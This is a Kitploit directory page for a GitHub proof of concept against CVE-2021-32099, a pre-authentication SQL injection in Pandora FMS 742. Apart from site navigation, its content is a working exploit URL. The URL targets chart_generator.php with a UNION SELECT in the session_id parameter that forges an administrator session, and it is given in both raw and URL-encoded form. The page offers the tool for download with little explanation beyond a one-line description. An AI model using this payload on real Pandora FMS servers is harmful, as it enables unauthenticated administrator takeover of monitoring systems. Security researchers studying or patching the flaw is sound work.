Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-32099 — Proof-of-concept exploit for a pre-authentication SQL injection vulnerability in Pandora FMS 742, demonstrating session hijacking via crafted UNION-based payload. | Kitploit
Tools/GitHubGitHub/akr3ch/cve-2021-32099
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubakr3ch/cve-2021-32099

CVE-2021-32099

Proof-of-concept exploit for a pre-authentication SQL injection vulnerability in Pandora FMS 742, demonstrating session hijacking via crafted UNION-based payload.

View Repository
224 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-32099

pandora fms 742 sqli (pre authentication) POC

root@kitploit:~
http://localhost/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1

URL Encoded

root@kitploit:~
http://localhost/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271
Download Tool